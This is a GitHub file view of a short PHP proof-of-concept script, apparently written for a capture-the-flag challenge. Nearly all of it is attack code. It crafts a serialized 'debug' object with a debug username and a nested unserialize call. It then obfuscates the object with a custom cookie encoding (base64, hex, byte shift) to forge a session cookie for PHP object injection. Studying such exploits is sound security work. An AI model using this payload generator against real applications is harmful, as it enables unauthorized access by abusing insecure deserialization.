-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathQ_POC.php
41 lines (35 loc) · 842 Bytes
/
Q_POC.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
function cookie_encode($str) {
$key = base64_encode($str);
$key = bin2hex($key);
$arr = str_split($key, 2);
$cipher = '';
foreach($arr as $value) {
$num = hexdec($value);
$num = $num + 240;
$cipher = $cipher.'&'.dechex($num);
}
return $cipher;
}
class session{
public $choose = 1;
public $id = 0;
public $username = "";
}
class debug
{
public $choose = "2";
public $forbidden = "";
public $access_token = "";
public $ob = NULL;
public $id = 2;
public $username = "debuger";
public function __construct()
{
$this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
}
}
$d = new debug();
//echo serialize($d);
echo cookie_encode(serialize($d));
?>